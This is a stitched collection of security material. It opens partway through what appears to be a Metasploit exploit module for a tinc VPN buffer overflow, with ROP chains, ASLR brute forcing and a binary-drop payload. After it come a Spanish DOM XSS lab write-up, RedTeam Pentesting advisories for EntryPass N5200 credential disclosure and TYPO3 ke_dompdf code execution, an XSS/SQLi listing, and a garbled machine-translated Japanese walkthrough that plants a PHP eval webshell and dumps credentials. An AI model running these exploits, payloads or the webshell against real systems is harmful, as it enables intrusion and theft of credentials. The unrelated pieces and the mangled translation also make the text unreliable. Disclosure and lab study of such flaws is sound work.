1.0.20 (manual compile with restarting daemon)', { 'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Ret' => 0x00015cb4, 'offset' => 1668 } ], # crash only: ['Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], ['Crash only: Fedora 16 x86, tinc 1.0.19 (yum)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], ['Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }], ['Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)', { 'Platform' => 'linux', 'Ret' => 0x9000, 'offset' => 1668 }] ], 'DisclosureDate' => 'Apr 22 2013', # finding, msf module: Dec 2013 'DefaultTarget' => 0)) register_options( [ # Only for shellcodes that write binary to disk # Has to be short, usually either . or /tmp works # /tmp could be mounted as noexec # . is usually only working if tincd is running as root OptString.new('BINARY_DROP_LOCATION', [false, 'Short location to drop executable on server, usually /tmp or .', '/tmp']), OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]), OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3]) ], self ) end def exploit # # # x86 # # # WINDOWS XP and 7 full exploitation # Simple, we only need some mona.py magic # C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5" # !mona config -set workingfolder c:\logs\%p # !mona pc 1682 # --> C:\logs\tincd\pattern # !mona findmsp # Straight forward, when we overwrite EIP the second value # on the stack is pointing to our payload. # !mona findwild -o -type instr -s "pop r32# ret" # FREEBSD full exploitation # Same offset as windows, same exploitation method # But we needed a new pop r32# ret for the freebsd version # No mona.py help on bsd or linux so: # - Dumped .text part of tincd binary in gdb # - Search in hex editor for opcodes for "pop r32# ret": # 58c3, 59c3, ..., 5fc3 # - Found a couple of 5dc3. ret = start of .text + offset in hex editor # - 0x0804BABB works very well # UBUNTU crash only # Manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because # the bug is in a fixed size (MAXSIZE) struct member variable. The size of the destination is known # at compile time. gcc is introducing a call to __memcpy_chk: # http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c # memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print # *** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 which can be installed # from the repository. It might be exploitable for versions compiled with an older version of gcc. # memcpy_chk seems to be in gcc since 2005: # http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c # http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088 # OPENSUSE # OpenSuse 11.2 # Installation as described on the tincd website. For 11.2 there are two versions. # Decided for 1.0.16 as this is a vulnerable version # wget "http://download.opensuse.org/repositories/home:/seilerphilipp/SLE_11_SP2/i586/tinc-1.0.16-3.1.i586.rpm" # rpm -i tinc-1.0.16-3.1.i586.rpm # Again, strace shows us that the buffer overflow was detected (see Ubuntu) # writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51 # So a crash-only non-exploitable bof here. So let's go for manual install: # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' # yast -i gcc zlib zlib-devel && echo "yast is still ugly" && zypper install lzo-devel libopenssl-devel make && make && make install # Exploitable. Let's see: # tincd is mapped at 0x8048000. There is a 5d3c at offset 307f in the tincd binary. this means: # the offset to pop ebp; ret is 0x0804b07f # FEDORA # Fedora 16 # yum has version 1.0.19 # yum install tinc # Non-exploitable crash, see Ubuntu. Strace tells us: # writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51 # About yum: Fedora 17 has fixed version 1.0.21, Fedora 19 fixed version 1.0.23 # Manual compile went on with Fedora 19 # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' # yum install gcc zlib-devel.i686 lzo-devel.i686 openssl-devel.i686 && ./configure && make && make install # Don't forget to stop firewalld for testing, as the port is still closed otherwise # # hardening-check tincd # tincd: # Position Independent Executable: no, normal executable! # Stack protected: no, not found! # Fortify Source functions: no, only unprotected functions found! # Read-only relocations: yes # Immediate binding: no, not found! # Running this module with target set to Windows: # Program received signal SIGSEGV, Segmentation fault. # 0x0041caa6 in ?? () # well and that's our windows offset... # (gdb) info proc mappings # 0x8048000 0x8068000 0x20000 0x0 /usr/local/sbin/tincd # After finding a normal 5DC3 (pop ebp# ret) at offset 69c3 of the binary we # can try to execute the payload on the stack, but: # (gdb) stepi # Program received signal SIGSEGV, Segmentation fault. # 0x08e8ee08 in ?? () # Digging deeper we find: # dmesg | grep protection # [ 0.000000] NX (Execute Disable) protection: active # or: # # objdump -x /usr/local/sbin/tincd # [...] STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4 # filesz 0x00000000 memsz 0x00000000 flags rw- # or: https://bugzilla.redhat.com/show_bug.cgi?id=996365 # Time for ROP # To start the ROP we need a POP r32# POP ESP# RET (using the first four bytes of the shellcode # as a pointer to instructions). Was lucky after some searching: # (gdb) x/10i 0x4d10ee87 # 0x4d10ee87: pop %ebx # 0x4d10ee88: mov $0xf5d299dd,%eax # 0x4d10ee8d: rcr %cl,%al # 0x4d10ee8f: pop %esp # 0x4d10ee90: ret # ARCHLINUX # archlinux-2013.04.01 pacman has fixed version 1.0.23, so went for manual compile: # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' # pacman -S gcc zlib lzo openssl make && ./configure && make && make install # Offset in binary to 58c3: 0x1D929 + tincd is mapped at starting address 0x8048000 # -->Ret: 0x8065929 # No NX protection, it simply runs the shellcode :) # # # ARM # # # ARM Pidora 18 (Raspberry Pi Fedora Remix) on a physical Raspberry Pi # Although this is more for the interested reader, as Pidora development # already stopped... Raspberry Pi's are ARM1176JZF-S (700 MHz) CPUs # meaning it's an ARMv6 architecture # yum has fixed version 1.0.21, so went for manual compile: # wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz' # yum install gdb gcc zlib-devel lzo-devel openssl-devel && ./configure && make && make install # Is the binary protected? # wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh # # ./checksec.sh --file /usr/local/sbin/tincd # RELRO STACK CANARY NX PIE RPATH RUNPATH FILE # No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH /usr/local/sbin/tincd # so again NX... but what about the system things? # cat /proc/sys/kernel/randomize_va_space # 2 # --> "Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. # This is the default setting." # Here some examples of the address of the system function: # 0xb6c40848 # 0xb6cdd848 # 0xb6c7c848 # Looks like we would have to brute force one byte # (gdb) info proc mappings # 0x8000 0x23000 0x1b000 0 /usr/local/sbin/tincd # 0x2b000 0x2c000 0x1000 0x1b000 /usr/local/sbin/tincd # When we exploit we get the following: # Program received signal SIGSEGV, Segmentation fault. # 0x90909090 in ?? () # ok, finally a different offset to eip. Let's figure it out: # $ tools/pattern_create.rb 1676 # Ok, pretty close, it's 1668. If we randomly choose ret as 0x9000 we get: # (gdb) break *0x9000 # Breakpoint 1 at 0x9000 # See that our shellcode is *on* the stack: # (gdb) x/10x $sp # 0xbee14308: 0x00000698 0x00000000 0x00000000 0x00000698 # 0xbee14318: 0x31203731 0x0a323736 0xe3a00002 0xe3a01001 <-- 0xe3a00002 is the start of our shellcode # 0xbee14328: 0xe3a02006 0xe3a07001 # let's explore the code we can reuse: # (gdb) info functions # objdump -d /usr/local/sbin/tincd >assembly.txt # while simply searching for the bx instruction we were not very lucky, # but searching for some "pop pc" it's easy to find nice gadgets. # we can write arguments to the .data section again: # 0x2b3f0->0x2b4ac at 0x0001b3f0: .data ALLOC LOAD DATA HAS_CONTENTS # The problem is we can not reliably forecast the system function's address, but it's # only one byte random, therefore we have to brute force it and/or find a memory leak. # Let's assume it's a restarting daemon: # create /etc/systemd/system/tincd.service and fill in Restart=restart-always # ARM Debian Wheezy on qemu # root@debian:~# apt-cache showpkg tinc # Package: tinc # Versions: # 1.0.19-3 (/var/lib/apt/lists/ftp.halifax.rwth-aachen.de_debian_dists_wheezy_main_binary-armhf_Packages) # nice, that's vulnerable # apt-get install tinc # apt-get install elfutils && ln -s /usr/bin/eu-readelf /usr/bin/readelf # wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh # # ./checksec.sh --file /usr/sbin/tincd # RELRO STACK CANARY NX PIE RPATH RUNPATH FILE # Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH /usr/sbin/tincd # Puh, doesn't look too good for us, NX enabled, Stack canary present and a partial RELRO, I'm not going to cover this one here packet_payload = payload.encoded # Pidora and Fedora/ROP specific things if target.name =~ /Pidora 18/ || target.name =~ /Fedora 19/ rop_generator = nil filename = rand_text_alpha(1) cd = "cd #{datastore['BINARY_DROP_LOCATION']};" cd = '' if datastore['BINARY_DROP_LOCATION'] == '.' if target.name =~ /Pidora 18/ print_status('Using ROP and brute force ASLR guesses to defeat NX/ASLR on ARMv6 based Pidora 18') print_status('This requires a restarting tincd daemon!') print_status('Warning: This is likely to get tincd into a state where it doesn\'t accept connections anymore') rop_generator = method(:create_pidora_rop) elsif target.name =~ /Fedora 19/ print_status('Using ROP to defeat NX on Fedora 19') rop_generator = method(:create_fedora_rop) end if target.arch.include? ARCH_CMD # The CMD payloads are a bit tricky on Fedora. As of december 2013 # some of the generic unix payloads (e.g. reverse shell with awk) don't work # (even when executed directly in a terminal on Fedora) # use generic/custom and specify PAYLOADSTR without single quotes # it's usually sh -c *bla* packet_payload = create_fedora_rop(payload.encoded.split(' ', 3)) else # the binary drop payloads packet_payload = get_cmd_binary_drop_payload(filename, cd, rop_generator) if packet_payload.length > target['offset'] print_status("Plain version too big (#{packet_payload.length}, max. #{target['offset']}), trying zipped version") packet_payload = get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator) vprint_status("Achieved version with #{packet_payload.length} bytes") end end end if packet_payload.length > target['offset'] fail_with(Exploit::Failure::BadConfig, "The resulting payload has #{packet_payload.length} bytes, we only have #{target['offset']} space.") end injection = packet_payload + rand_text_alpha(target['offset'] - packet_payload.length) + [target.ret].pack('V') vprint_status("Injection starts with #{injection.unpack('H*')[0][0..30]}...") if target.name =~ /Pidora 18/ # we have to brute force to defeat ASLR datastore['BRUTEFORCE_TRIES'].times do print_status("Try #{n}: Initializing tinc exploit client (setting up ciphers)") setup_ciphers print_status('Telling tinc exploit client to connect, handshake and send the payload') begin send_recv(injection) rescue RuntimeError, Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, ::Timeout::Error, ::EOFError => runtime_error print_error(runtime_error.message) print_error(runtime_error.backtrace.join("\n\t")) rescue Rex::ConnectionRefused print_error('Server refused connection. Is this really a restarting daemon? Try higher WAIT option.') sleep(3) next end secs = datastore['WAIT'] print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)") sleep(secs) end print_status("Brute force with #{datastore['BRUTEFORCE_TRIES']} tries done. If not successful you could try again.") else # Setup local ciphers print_status('Initializing tinc exploit client (setting up ciphers)') setup_ciphers # The tincdExploitClient will do the crypto handshake with the server and # send the injection (a packet), where the actual buffer overflow is triggered print_status('Telling tinc exploit client to connect, handshake and send the payload') send_recv(injection) end print_status('Exploit finished') end def get_cmd_binary_drop_payload(filename, cd, rop_generator) elf_base64 = Rex::Text.encode_base64(generate_payload_exe) cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_base64}|base64 -d>#{filename};chmod +x #{filename};./#{filename}"] vprint_status("You will try to execute #{cmd.join(' ')}") rop_generator.call(cmd) end def get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator) elf_zipped_base64 = Rex::Text.encode_base64(Rex::Text.gzip(generate_payload_exe)) cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_zipped_base64}|base64 -d|gunzip>#{filename};chmod +x #{filename};./#{filename}"] vprint_status("You will try to execute #{cmd.join(' ')}") rop_generator.call(cmd) end def create_pidora_rop(sys_execv_args) sys_execv_args = sys_execv_args.join(' ') sys_execv_args += "\x00" aslr_byte_guess = SecureRandom.random_bytes(1).ord print_status("Using 0x#{aslr_byte_guess.to_s(16)} as random byte for ASLR brute force (hope the server will use the same at one point)") # Gadgets tincd # c714: e1a00004 mov r0, r4 # c718: e8bd8010 pop {r4, pc} mov_r0_r4_pop_r4_ret = [0x0000c714].pack('V') pop_r4_ret = [0x0000c718].pack('V') # 1cef4: e580400c str r4, [r0, #12] # 1cef8: e8bd8010 pop {r4, pc} # mov_r0_plus_12_to_r4_pop_r4_ret = [0x0001cef4].pack('V') # bba0: e5843000 str r3, [r4] # bba4: e8bd8010 pop {r4, pc} mov_to_r4_addr_pop_r4_ret = [0x0000bba0].pack('V') # 13ccc: e1a00003 mov r0, r3 # 13cd0: e8bd8008 pop {r3, pc} pop_r3_ret = [0x00013cd0].pack('V') # address to start rop (removing 6 addresses of garbage from stack) # 15cb4: e8bd85f0 pop {r4, r5, r6, r7, r8, sl, pc} # start_rop = [0x00015cb4].pack('V') # see target Ret # system function address base to brute force # roughly 500 tests showed addresses between # 0xb6c18848 and 0xb6d17848 (0xff distance) system_addr = [0xb6c18848 + (aslr_byte_guess * 0x1000)].pack('V') # pointer into .data section loc_dot_data = 0x0002b3f0 # a location inside .data # Rop into system(), prepare address of payload in r0 rop = '' # first, let's put the payload into the .data section # Put the first location to write to in r4 rop += pop_r4_ret sys_execv_args.scan(/.{1,4}/).each_with_index do |argument_part, i| # Give location inside .data via stack rop += [loc_dot_data + i * 4].pack('V') # Pop 4 bytes of the command into r3 rop += pop_r3_ret # Give 4 bytes of command on stack if argument_part.length == 4 rop += argument_part else rop += argument_part + rand_text_alpha(4 - argument_part.length) end # Write the 4 bytes to the writable location rop += mov_to_r4_addr_pop_r4_ret end # put the address of the payload into r4 rop += [loc_dot_data].pack('V') # now move r4 to r0 rop += mov_r0_r4_pop_r4_ret rop += rand_text_alpha(4) # we don't care what ends up in r4 now # call system rop += system_addr end def create_fedora_rop(sys_execv_args) # Gadgets tincd loc_dot_data = 0x80692e0 # a location inside .data pop_eax = [0x8065969].pack('V') # pop eax; ret pop_ebx = [0x8049d8d].pack('V') # pop ebx; ret pop_ecx = [0x804e113].pack('V') # pop ecx; ret xor_eax_eax = [0x804cd60].pack('V') # xor eax eax; ret # <ATTENTION> This one destroys ebx: mov_to_eax_addr = [0x805f2c2].pack('V') + rand_text_alpha(4) # mov [eax] ecx ; pop ebx ; ret # </ATTENTION> # Gadgets libcrypto.so.10 libcrypto.so.1.0.1e xchg_ecx_eax = [0x4d170d1f].pack('V') # xchg ecx,eax; ret # xchg_edx_eax = [0x4d25afa3].pack('V') # xchg edx,eax ; ret # inc_eax = [0x4d119ebc].pack('V') # inc eax ; ret # Gadgets libc.so.6 libc-2.17.so pop_edx = [0x4b5d7aaa].pack('V') # pop edx; ret int_80 = [0x4b6049c5].pack('V') # int 0x80 # Linux kernel system call 11: sys_execve # ROP rop = '' index = 0 stored_argument_pointer_offsets = [] sys_execv_args.each_with_index do |argument, argument_no| stored_argument_pointer_offsets << index argument.scan(/.{1,4}/).each_with_index do |argument_part, i| # Put location to write to in eax rop += pop_eax # Give location inside .data via stack rop += [loc_dot_data + index + i * 4].pack('V') # Pop 4 bytes of the command into ecx rop += pop_ecx # Give 4 bytes of command on stack if argument_part.length == 4 rop += argument_part else rop += argument_part + rand_text_alpha(4 - argument_part.length) end # Write the 4 bytes to the writable location rop += mov_to_eax_addr end # We have to end the argument with a zero byte index += argument.length # We don't have "xor ecx, ecx", but we have it for eax... rop += xor_eax_eax rop += xchg_ecx_eax # Put location to write to in eax rop += pop_eax # Give location inside .data via stack rop += [loc_dot_data + index].pack('V') # Write the zeros rop += mov_to_eax_addr index += 1 # where we can write the next argument end # Append address of the start of each argument stored_argument_pointer_offsets.each do |offset| rop += pop_eax rop += [loc_dot_data + index].pack('V') rop += pop_ecx rop += [loc_dot_data + offset].pack('V') rop += mov_to_eax_addr index += 4 end # end with zero rop += xor_eax_eax rop += xchg_ecx_eax rop += pop_eax rop += [loc_dot_data + index].pack('V') rop += mov_to_eax_addr rop += pop_ebx rop += [loc_dot_data].pack('V') rop += pop_ecx rop += [loc_dot_data + sys_execv_args.join(' ').length + 1].pack('V') rop += pop_edx rop += [loc_dot_data + index].pack('V') # sys call 11 = sys_execve rop += pop_eax rop += [0x0000000b].pack('V') rop += int_80 end end
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DOM XSS in document.write sink using source location.search – PortSwigger Write Up
En este post vamos a estar resolviendo el laboratorio: “DOM XSS in document.write sink using source location.search”: Cuando abrimos el lab, lo primero que nos encontramos es la siguiente web: Hay una barra de búsqueda, por lo que vamos a probar a simplemente buscar algo: Cuando hacemos la búsqueda, si damos click derecho y vemos el código fuente del elemento de la palabra por la que hemos buscado, podremos ver que se sitúa en el atributo src de una imagen. Observando el como se implementa nuestro input en el código fuente, podemos enviar un payload especializado que se escape del tag <img>. Por ejemplo, vamos a usar: “><script>alert(”XSS”)</script>// Cuando hemos escrito nuestro payload, simplemente volvemos a hacer una búsqueda: Y como vemos, se nos ejecuta el código que hemos introducido. El código fuente se vería ahora de la siguiente forma: Como vemos, nuestro input ya no se encuentra dentro del <img>, ya que hemos conseguido cerrar el elemento para escribir código JavaScript. Con esto hecho, conseguimos resolver el laboratorio:
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EntryPass N5200 - Credentials Exposure
Advisory: EntryPass N5200 Credentials Disclosure EntryPass N5200 Active Network Control Panels allow the unauthenticated downloading of information that includes the current administrative username and password. Details ======= Product: EntryPass N5200 Active Network Control Panel Affected Versions: unknown Fixed Versions: not available Vulnerability Type: Information Disclosure, Credentials Disclosure Security Risk: high Vendor URL: http://www.entrypass.net/w3v1/products/active-network/n5200 Vendor Status: notified Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-011 Advisory Status: published CVE: CVE-2014-8868 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8868 Introduction ============ "EntryPass Active Networks are designed to enhance highly customized and rapid 'real-time' changes to the underlying network operation. Brilliantly engineered with all the power you need to enable code-sending, minus unnecessary buffer time with its distributed architecture capable of processing access demand at the edge level without leveraging at the server end." (From the vendor's home page) More Details ============ EntryPass N5200 Active Network Control Panels offer an HTTP service on TCP port 80. It appears that only the first character of a requested URL's path is relevant to the web server. For example, requesting the URL http://example.com/1styles.css yields the same CSS file as requesting the following URL: http://example.com/1redteam By enumerating all one-character long URLs on a device, it was determined that URLs starting with a numeric character are used by the web interface, as listed in the following table: http://example.com/0 Index http://example.com/1 Stylesheet http://example.com/2 Authentication with Username/Password http://example.com/3 Session Management http://example.com/4 Device Status http://example.com/5 Progressbar Image http://example.com/6 Reset Status http://example.com/7 Login Form http://example.com/8 HTTP 404 Error Page http://example.com/9 JavaScript For URLs starting with non-numeric characters, an HTTP 404 - Not Found error page is normally returned. Exceptions to this rule are URLs starting with the lower case letters o to z and the upper case letters A to D. When requesting these URLs, memory contents from the device appear to be returned in the server's HTTP response. As highlighted in the following listing, both the currently set username ADMIN and the corresponding password 123456 are disclosed in the memory contents when requesting the URL http://example.com/o: $ curl -s http://example.com/o | hexdump -C | head [...] 0010 XX XX XX XX XX XX XX XX XX XX XX 77 77 77 2e 65 |XXXXXXXXXXXwww.e| 0020 6e 74 72 79 70 61 73 73 2e 6e 65 74 00 00 00 00 |ntrypass.net....| [...] 0060 XX XX XX XX XX XX XX XX XX XX 41 44 4d 49 4e 26 |XXXXXXXXXXADMIN&| 0070 20 20 31 32 33 34 35 36 26 20 XX XX XX XX XX XX | 123456& XXXXXX| [...] These credentials grant access to the administrative web interface of the device when using them in the regular login form. Similarly, it is possible to get the status output of the device without prior authentication by simply requesting the following URL http://example.com/4 The server responds to the request with the following XML data, which contains information about various different settings of the device. <html> <head> <title>Device Server Manager</title> </head> <body> <serial_no>XXXXXXXXXXXX-XXXX</serial_no> <firmware_version>HCB.CC.S1.04.04.11.02 -N5200[64Mb]</firmware_version> <mac_address>XX-XX-XX-XX-XX-XX</mac_address> <disable_reporting>disabled</disable_reporting> <commit_setting>checked</commit_setting> <user_id>ADMIN</user_id> <user_pass>******</user_pass> [...] </body> </html> Proof of Concept ================ ------------------------------------------------------------------------ $ curl -s http://example.com/o | hexdump -C | head ------------------------------------------------------------------------ Workaround ========== Access to the web interface should be blocked at the network layer. Fix === Not available. Security Risk ============= Attackers with network access to an EntryPass N5200 Active Network Control Panel can retrieve memory contents from the device. These memory contents disclose the currently set username and password needed to access the administrative interface of the device. Using these credentials, it is possible to read the device's current status and configuration, as well as modify settings and install firmware updates. With regards to the device itself, this vulnerability poses a high risk, as it allows attackers to gain full control. The actual operational risk depends on how the device is used in practice. Timeline ======== 2014-05-19 Vulnerability identified 2014-08-25 Customer approved disclosure to vendor 2014-08-27 Vendor contacted, security contact requested 2014-09-03 Vendor contacted, security contact requested 2014-09-15 Vendor contacted, vulnerability reported 2014-09-17 Update requested from vendor, no response 2014-10-15 No response from vendor. Customer discontinued use of the product and approved public disclosure 2014-10-20 Contacted vendor again since no fix or roadmap was provided. 2014-10-28 CVE number requested 2014-11-14 CVE number assigned 2014-12-01 Advisory released RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at https://www.redteam-pentesting.de. -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen
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TYPO3 Extension ke DomPDF - Remote Code Execution
Advisory: Remote Code Execution in TYPO3 Extension ke_dompdf During a penetration test RedTeam Pentesting discovered a remote code execution vulnerability in the TYPO3 extension ke_dompdf, which allows attackers to execute arbitrary PHP commands in the context of the webserver. Details ======= Product: ke_dompdf TYPO3 extension Affected Versions: 0.0.3<= Fixed Versions: 0.0.5 Vulnerability Type: Remote Code Execution Security Risk: high Vendor URL: http://typo3.org/extensions/repository/view/ke_dompdf Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-007 Advisory Status: published CVE: CVE-2014-6235 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6235 Introduction ============ "DomPDF library and a small pi1 to show how to use DomPDF to render the current typo3-page to pdf." (taken from the extension's description) More Details ============ The TYPO3 extension ke_dompdf contains a version of the dompdf library including all files originally supplied with it. This includes an examples page, which contains different examples for HTML-entities rendered as a PDF. This page also allows users to enter their own HTML code into a text box to be rendered by the webserver using dompdf. dompdf also supports rendering of PHP files and the examples page also accepts PHP code tags, which are then executed and rendered into a PDF on the server. Since those files are not protected in the TYPO3 extension directory, anyone can access this URL and execute arbitrary PHP code on the system. This behaviour was already fixed in the dompdf library, but the typo3 extension ke_dompdf supplies an old version of the library that still allows the execution of arbitrary PHP code. Proof of Concept ================ Access examples.php on the vulnerable system: http://www.example.com/typo3conf/ext/ke_dompdf/res/dompdf/www/examples.php Enter PHP code in the text box on the bottom of the page and click the submit button, for example: ------------------------------------------------------------------------ <?php phpinfo() ?> ------------------------------------------------------------------------ The page will return a PDF file containing the output of the PHP code. Workaround ========== Remove the directory "www" containing the examples.php file or at least the examples.php file from the extensions' directory. Fix === Update to version 0.0.5 of the extension. Security Risk ============= high Timeline ======== 2014-04-21 Vulnerability identified 2014-04-30 Customer approved disclosure to vendor 2014-05-06 CVE number requested 2014-05-10 CVE number assigned 2014-05-13 Vendor notified 2014-05-20 Vendor works with TYPO3 security team on a fix 2014-09-02 Vendor released fixed version [2] 2014-12-01 Advisory released References ========== The TYPO3 extension ke_dompdf contains an old version of the dompdf library, which contains an example file that can be used to execute arbitrary commands. This vulnerability was fixed in dompdf in 2010. The relevant change can be found in the github repository of dompdf: [1] https://github.com/dompdf/dompdf/commit/ e75929ac6393653a56e84dffc9eac1ce3fb90216 TYPO3-EXT-SA-2014-010: Several vulnerabilities in third party extensions: [2] http://typo3.org/teams/security/security-bulletins/typo3-extensions/ typo3-ext-sa-2014-010/ RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at https://www.redteam-pentesting.de. -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen
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Lms Web Ensino - Multiple Input Validation Vulnerabilities
source: https://www.securityfocus.com/bid/46829/info LMS Web Ensino is prone to the following input-validation vulnerabilities: 1. Multiple cross-site scripting vulnerabilities 2. An SQL-injection vulnerability 3. A cross-site request-forgery vulnerability 4. A session-fixation vulnerability Exploiting these issues could allow an attacker to execute arbitrary code, hijack a user's session, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/lms/sistema/webensino/index.php?modo=resbusca_biblioteca&pChave=a%22%2F%3E+%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&Submit=Buscar http://www.example.com/lms/sistema/webensino/index.php?modo=itensCategoriaBiblioteca&codBibliotecaCategoria=<SQLi>
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タイトル:SMBを使用して、ネットワークホストを取得します
0x00はじめに 以前は、ドメイン環境を使用していたとき、ドメインのホストはネットワークを離れませんでした。当時、ソックスプロキシは、ネットワークホストをエッジホストに残さなかったトラフィックをプロキシに使用していました。当時、私はそれについてあまり考えていませんでした。私が降りた後、私はその時点で状況を再現するために環境を設定し、インストールできないホストを構築するより簡単な方法があるかどうかを確認することを考えました。 たまたま、このドメインの環境はかなり良いことがわかりました。複製プロセス中、いくつかの知識が私の知識の盲点に触れ、多くの新しい知識を獲得しました。私はプロセスを特別に記録し、ドメインにネットワークホストの構築を学びたいマスターと共有しました。 0x01範囲アドレス割り当て イントラネットセグメント:192.168.52.0/24 外部ネットワークセグメント:192.168.10.0/24 攻撃航空機: Kali:192.168.10.11 範囲: Win7(内部):192.168.52.143 Win7(外部):192.168.10.15 ドメインホスト: winserver2003:192.168.52.141 winserver2008:192.168.52.138 その中で、Win7は外部ネットワークとイントラネットと通信でき、ドメインのホストはイントラネット間でのみ通信できます。 当初、DCPINGはWIN7で動作しません。ファイアウォールを閉じた後、PINGできます。 cドライブの下でphpstudyディレクトリを開くためにWebサービスを開く 0x02 Webサーバーの侵入 nmapプローブポート NMAP -SS -P0 -SV -O 192.168.10.15 ポート80を開き、Webアドレスにアクセスしようとしましたが、PHPプローブであることがわかりました 下部にスライドして、Webサイトの下部にMySQLデータベース接続検出を見つけます 弱いパスワードルート/ルート接続が成功しました 背景をスキャン 私はここで剣を使用しますが、この射撃範囲を撮影し終えた後、それらの多くがCMSをスキャンしていることを確認するためにオンラインになったので、それは非常に難しいようです。弱いCMSパスワードを使用して背景を入力してシェルを書き込む方法を示しません。興味があれば、自分で検索できます。 phpmyAdminディレクトリがあるか、ルート/ルートログインの弱いパスワードが成功していることがわかりました 入力後のインターフェイスは次のとおりです 0x03 phpmyadminを介してシェルを書き込み phpmyadminを介してシェルを書く方法は2つあります 最初に、Outfileに直接選択するように書き込もうとしましたが、ここのSecure_file_privの値はnullであるため、特権を提起することはできません。 別の方法のみを使用し、グローバルログを使用してシェルを書き込みます 「%一般%」のような変数を表示 構成を確認すると、グローバルログが閉じた状態にあることがわかります。 general_log_fileは、ログの絶対アドレスを返します。 次に、最初にそのグローバルログを開き、次にその道にトロイの木馬を書きます グローバルgeneral_log=on; グローバルログを開いた後、絶対パスを変更します。ここにピットがあることに注意してください。ログによって返されるパスはC: \\ phpstudy \\ mysql \\ data \ stu1.logですが、mysqlがアクセスする絶対アドレスはc: \\ wwwディレクトリです。 グローバルgeneral_log_file='c: \\ phpstudy \\ www \\ shell.php'; これが別の文のトロイの木馬です '?php eval($ _ post [cmd]);'を選択します 次に、アリの剣をつなぎます 接続が成功していることがわかります 0x03イントラネット情報コレクション システム許可を確認してください。開始したらすぐに管理者の権限を確保するのは非常に快適です ipconfig /すべてのネットワーク情報を表示、ドメイン環境+デュアルネットワークカード TaskList /SVCはそれを一時的に見て、イカのようなものはないように思われました。 ソフトソフトの殺害はないと考えて、CSによって生成されたTrojan Exeをターゲットホストにアップロードするために、最もシンプルでCrudest CSを使用する方が簡単です。 計画されたタスクを使用してオンラインcsにアクセスします 正常に起動しました 0x04イントラネット浸透 情報収集 ネットビュードメイン情報 CSSが提供するポートを使用して、ホストの波をスキャンします 次のようにすべてのホストをスキャンします ハッシュダンプハッシュの波をキャッチします logonpasswordsは、平易なテキストの波をキャプチャします すべての資格情報は次のとおりです。コーディングの理由は、前にログインするときにパスワードがリセットされたため、個人情報でパスワードを取得したことです。 考え 